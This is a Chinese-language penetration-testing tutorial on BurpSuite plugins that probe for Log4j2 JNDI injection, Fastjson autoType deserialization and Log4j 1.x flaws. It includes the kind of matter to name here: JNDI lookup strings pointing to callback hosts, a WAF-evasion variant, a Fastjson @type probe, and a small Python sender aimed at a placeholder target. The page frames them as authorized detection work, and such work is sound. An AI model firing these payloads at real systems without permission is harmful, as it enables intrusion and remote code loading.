简介：这份资源面向Java安全测试人员与渗透测试学习者，聚焦Log4j、Log4j2与Fastjson三类常见组件的漏洞检测场景。包内提供适配BurpSuite的扫描插件，可帮助使用者在目标系统中识别相关组件并评估远程代码执行等安全风险，兼容新旧版本BurpSuite，适合具备一定Java与Web安全基础的中高级从业者。资源共53个文件，以java源码、png截图、jar插件包、xml配置为主，另含md说明与yml等辅助文件，压缩包约24.04MB，目录按插件模块与文档分列，便于按需查阅与二次编译。目前已有2027人学习下载。通过插件源码、配置说明与使用文档，读者可理解Log4j2 Lookup触发机制与Fastjson反序列化风险点，掌握在常规扫描后深度分析日志与JSON处理流程的方法，并配合模糊测试、渗透测试更全面地排查系统安全隐患。
1. 从一次接口测试说起：为什么要在 BurpSuite 里盯死 Log4j2、Fastjson 和 Log4j
做渗透测试或者接口安全评估的人，大概率都遇到过这种场景：抓到一个 JSON 请求体，里面某个字段的值被原样打进了日志，或者被反序列化成了对象。你隐约觉得这里有问题，但手工构造 payload 一条条试，效率低得让人抓狂。Log4j2、Fastjson、Log4j 这三个组件，恰好是 Java 生态里被讨论最多的几个"高危常客"——Log4j2 的 JNDI 注入、Fastjson 的 autoType 反序列化、Log4j 1.x 的 SocketServer 反序列化，每一个都曾经在真实项目里翻过车。
BurpSuite 插件的价值就在这里：它把被动扫描和主动探测塞进了你本来就在用的抓包流程里。你不需要额外开一个扫描器，不需要把请求导来导去，流量经过 Burp 的时候，插件自动帮你识别哪些参数可能触发这三个组件的漏洞，甚至直接帮你把 payload 打出去看回显。这篇内容面向的是已经会用 BurpSuite 抓包、但对 Java 反序列化和 JNDI 注入只有模糊概念的从业者，我会把插件能做什么、怎么配、参数怎么调、哪些地方容易踩坑，按我实际用下来的顺序讲清楚。
2. 三个组件各自的"命门"：插件到底在探测什么
2.1 Log4j2 的 JNDI 注入：lookup 机制被滥用的那条路
Log4j2 在 2.x 版本里引入了 lookup 功能，本意是让配置更灵活，比如${java:version}这种写法能在日志里直接输出运行时信息。问题出在${jndi:ldap://...}这类 lookup 上——当用户可控的字符串被拼进日志消息，Log4j2 会去解析这个 lookup，进而发起 JNDI 请求。攻击者控制一个 LDAP 或 RMI 服务，就能让目标加载远程类。
插件在 Burp 里做的事情，本质上是在每个请求参数、Header、Cookie 里插入类似${jndi:ldap://your-dnslog-domain/a}的探测串，然后观察是否有 DNS 回连或 HTTP 回连。这里的关键参数是回连域名和协议类型。我一般会准备一个 DNSLog 平台，把域名填进插件配置，协议优先用 LDAP，因为很多环境对 RMI 的出站限制更严。
需要注意的是，Log4j2 的 payload 有很多变形，比如${${lower:j}ndi:...}这种绕过 WAF 的写法。插件如果只发一种固定 payload，遇到有 WAF 的目标就容易漏报。好的插件会内置多种混淆变体，你在配置里能看到一个 payload 列表，可以自己增删。
2.2 Fastjson 的 autoType：反序列化链的入口
Fastjson 的问题核心在autoType。当JSON.parseObject或JSON.parse处理一个包含@type字段的 JSON 时，如果 autoType 没被严格限制，攻击者就能指定任意类，配合 gadget 链实现远程代码执行。插件在 Burp 里的探测方式通常是往 JSON 请求体里注入{"@type":"java.net.Inet4Address","val":"dnslog-domain"}这类 payload，看是否有 DNS 回连。
Fastjson 的版本差异很大。1.2.24 及以前基本是"裸奔"，1.2.25 到 1.2.47 之间有一堆绕过，1.2.48 以后加了 safeMode 和黑名单。插件一般会针对不同版本区间准备不同的 payload 集。你在配置里会看到一个"Fastjson 版本范围"的选项，如果你知道目标大概用的版本，选对应的范围能减少无效请求。
还有一个容易忽略的点：Fastjson 不仅处理请求体，有时候 URL 参数、Header 里的 JSON 字符串也会被解析。插件如果只扫 Body，就会漏掉这些位置。我一般会把"扫描位置"全选上，虽然请求量会大一些，但覆盖更全。
2.3 Log4j 1.x 的 SocketServer 和 JMSAppender
Log4j 1.x 虽然已经停止维护，但很多老系统还在用。它的两个经典问题：一是SocketServer反序列化，监听端口收到恶意序列化数据就会触发；二是JMSAppender的 JNDI 查找，配置里如果用了 JNDI 就能被利用。插件对 Log4j 1.x 的探测，更多是发一些特征 payload 看是否有异常回显或延迟。
这个组件的探测在 Burp 里相对"安静"，因为它不像 Log4j2 那样有明确的 DNS 回连特征。我一般会结合响应时间来判断——如果某个请求突然变慢，可能是触发了反序列化。插件里通常会有一个"延迟阈值"参数，默认 5000 毫秒，你可以根据目标网络情况调整。
3. 在 BurpSuite 里把插件跑起来：安装、配置与第一次扫描
3.1 插件加载与依赖检查
BurpSuite 的插件体系分 Java 和 Python 两种。Log4j2、Fastjson、Log4j 这类探测插件，常见的是 Java 写的.jar包，也有 Python 写的.py文件。加载方式在 Burp 的 Extender 标签页里，点 Add，选文件类型，然后指定路径。
# 假设你拿到的是一个 jar 包，先确认 Java 版本 java -version # BurpSuite 2023 以后的版本一般要求 Java 17 以上 # 如果版本不对，插件加载会直接报 UnsupportedClassVersionError加载后看 Extender 的 Output 和 Errors 标签。Output 里会打印插件初始化日志，比如"Loaded 12 payloads for Log4j2"；Errors 里如果有ClassNotFoundException，说明插件依赖的某个库没打包进去，这种情况要么找作者要完整包，要么自己用 Maven 补依赖。
提示：BurpSuite 社区版和专业版在插件 API 上基本一致，但专业版的扫描器 API 更完整。如果你用的是社区版，主动扫描功能会受限，只能靠插件自己的请求逻辑来发 payload。
3.2 回连平台配置：DNSLog 和 HTTP 回连地址
插件要判断漏洞是否存在，最可靠的方式是看回连。你需要在插件配置里填一个 DNSLog 域名，比如xxx.dnslog.cn或者你自己搭的dnslog服务。有些插件还支持 HTTP 回连，那就再填一个 HTTP 地址。
# 这是一个简化的回连检测逻辑示意，不是插件源码 # 实际插件里会用 Burp 的 IHttpRequestResponse 接口 def check_callback(dnslog_domain, payload_template): # payload_template 里用 {domain} 占位 payload = payload_template.format(domain=dnslog_domain) # 把 payload 注入到请求参数里 # 然后等待 DNSLog 平台返回结果 # 如果平台显示有解析记录，说明存在漏洞 return has_dns_record参数说明：dnslog_domain是你自己的回连域名，不要用公共的、很多人共用的域名，否则结果会混在一起。payload_template是插件内置的，你一般不需要改，但如果目标有 WAF，可以在这里加混淆变体。
3.3 扫描范围与请求节流
插件跑起来后，默认会对所有经过 Burp 的请求做被动分析。但主动发 payload 需要你手动触发，或者在 Proxy 里右键选择"Scan with Log4j2/Fastjson plugin"。
# 如果你用命令行启动 Burp，可以加一些 JVM 参数控制内存 java -Xmx4g -jar burpsuite_pro.jar # 插件跑大量请求时内存占用会上升，4G 是底线请求节流很重要。我见过有人把线程数开到 50，结果目标直接封 IP。插件里一般有"并发线程数"和"请求间隔"两个参数。我一般设线程数 5，间隔 200 毫秒，这样既能跑完，又不会太激进。
注意：扫描前确认你有目标系统的测试授权。未授权的扫描不仅不道德，还可能触犯法律。这篇内容只讨论技术实现，不鼓励任何未授权测试。
4. 避坑与排查：那些让我熬夜的翻车现场
4.1 回连平台没收到记录，但目标确实有漏洞
现象：你明明知道目标用了 Log4j2 2.14，插件也发了 payload，但 DNSLog 平台就是没记录。
原因：目标服务器可能没有出站 DNS 权限，或者 DNS 请求被内网 DNS 服务器拦截了。还有一种可能是 payload 被 WAF 拦了，根本没到应用层。
解决：换用 HTTP 回连试试，有些环境 DNS 出不去但 HTTP 能出去。如果都不行，用时间盲注的方式——发一个会触发延迟的 payload，看响应时间是否明显变长。插件里一般有"延迟检测"选项，打开它。
4.2 Fastjson payload 被转义，注入失败
现象：你往 JSON 请求体里插{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}，但插件报告"payload 被转义"。
原因：Burp 的 Repeater 或者插件在构造请求时，对 JSON 特殊字符做了转义，导致@type变成了\@type或者引号被转义。
解决：检查插件的"JSON 处理模式"，一般有"原始插入"和"智能解析"两种。选"原始插入"，让插件直接把 payload 拼进去，不要做额外处理。如果还是不行，手工在 Repeater 里试一次，确认 payload 本身没问题。
4.3 Log4j 1.x 探测没有回显，也没有延迟
现象：插件对 Log4j 1.x 的探测完全没反应，响应时间和正常请求一样。
原因：Log4j 1.x 的 SocketServer 需要目标开放特定端口，插件如果只发 HTTP 请求，根本触发不了。JMSAppender 也需要目标配置了 JNDI 才能利用。
解决：确认目标是否真的用了 Log4j 1.x，以及是否开放了相关端口。如果只是 HTTP 接口，Log4j 1.x 的利用面比 Log4j2 窄很多。这种情况下，插件更多是"排除"作用——没反应不代表没漏洞，只是当前路径触发不了。
4.4 插件加载后 Burp 变卡，甚至无响应
现象：加载插件后，Burp 的 UI 开始卡顿，抓包延迟明显增加。
原因：插件在每个请求上都做了大量正则匹配或 JSON 解析，CPU 占用飙升。或者插件的日志输出太多，写满了 Burp 的 Output 缓冲区。
解决：在插件配置里关掉"被动扫描"，只在你需要的时候手动触发。另外把插件的日志级别调到 WARN，减少输出。如果还是卡，考虑换一个轻量级的插件，或者把 Burp 的内存调大。
4.5 扫描报告里一堆"疑似漏洞"，实际都是误报
现象：插件报告了十几个"可能存在 Log4j2 漏洞"的请求，你一个个手工验证，发现全是误报。
原因：插件可能把"参数里包含 ${}"这种正常业务逻辑也当成了 payload 注入点。或者回连平台上有其他人的记录，被你误认为是自己的。
解决：用独立的 DNSLog 子域名，不要和别人共用。插件里一般有"置信度"过滤，把阈值调高，只显示高置信度的结果。手工验证时，用 Burp 的 Repeater 单独发一次，确认回连记录的时间戳和你的请求时间对得上。
5. 进阶技巧：把三个组件的探测串成一条流水线
5.1 用 Burp 的 Macro 和 Session Handling 做自动化
如果你要测的接口需要登录态，每次请求都要带 Token，那插件的主动扫描会因为 Token 过期而失败。这时候可以用 Burp 的 Macro 功能：录一个登录请求，提取 Token，然后在 Session Handling Rules 里让所有请求自动带上最新 Token。
# 这不是代码，是 Burp 里的操作路径 # Project options -> Sessions -> Session Handling Rules -> Add # Rule Action 选 Run a Macro，然后录登录流程 # 在 Macro 里用 Extract 功能把 Token 存成参数 # 最后在 Scope 里选你要扫描的 URL 范围这样插件发 payload 的时候，Token 会自动刷新，不会因为 401 而中断。我一般会把 Macro 的触发条件设为"响应中包含 401 或 Token 过期关键字"。
5.2 组合 payload：一次请求同时探测多个组件
有些场景下，你不想发太多次请求，怕被风控。这时候可以构造一个"组合 payload"，比如在同一个参数里同时包含 Log4j2 的${jndi:ldap://...}和 Fastjson 的@type结构。当然，这要求目标同时解析这两种格式，成功率不高，但在某些特定接口上能减少请求数。
更实用的做法是：先跑一轮被动扫描，把可疑参数标记出来，然后只对这些参数发主动 payload。插件里一般有"从被动结果生成主动扫描任务"的功能，你找找看。
5.3 验证方法：怎么确认一个漏洞是真的
插件报告漏洞后，不要直接写进报告。我一般会做三步验证：
第一步，用 Burp Repeater 手工发一次 payload，确认回连记录的时间戳和请求时间一致。第二步，换一个回连域名再发一次，确认不是缓存或巧合。第三步，如果条件允许，尝试用 DNSLog 之外的协议（比如 LDAP）验证，看是否能加载远程类。
# 一个简单的回连验证脚本示意 import requests import time dnslog_domain = "your-unique-id.dnslog.cn" payload = "${jndi:ldap://%s/test}" % dnslog_domain # 发送请求 start = time.time() requests.get("http://target.com/api", params={"name": payload}) elapsed = time.time() - start # 检查 DNSLog 平台是否有记录 # 这一步通常需要调用 DNSLog 平台的 API # 如果没有 API，就手工刷新页面看 print("Request took %.2f seconds" % elapsed) # 如果 elapsed 明显大于正常请求，可能是触发了 JNDI 解析参数说明：dnslog_domain必须是你自己独有的，不要用公共域名。payload里的/test是路径，有些 DNSLog 平台会记录完整路径，方便区分不同请求。
5.4 我自己的习惯：先排除，再确认
用了这么久，我最大的体会是：这类插件最大的价值不是"发现漏洞"，而是"快速排除"。一个接口跑一遍，没回连、没延迟、没异常，基本可以判断这三个组件在当前路径上不可利用。这比手工一个个试快太多了。
另一个习惯是：永远不要只依赖插件的结果。插件说没漏洞，不代表真的没有；插件说有漏洞，一定要手工验证。我见过太多因为插件误报而白高兴一场的情况，也见过因为插件漏报而错过真实漏洞的案例。插件是辅助，人才是核心。
希望帮到你。
本文还有配套的精品资源，点击获取
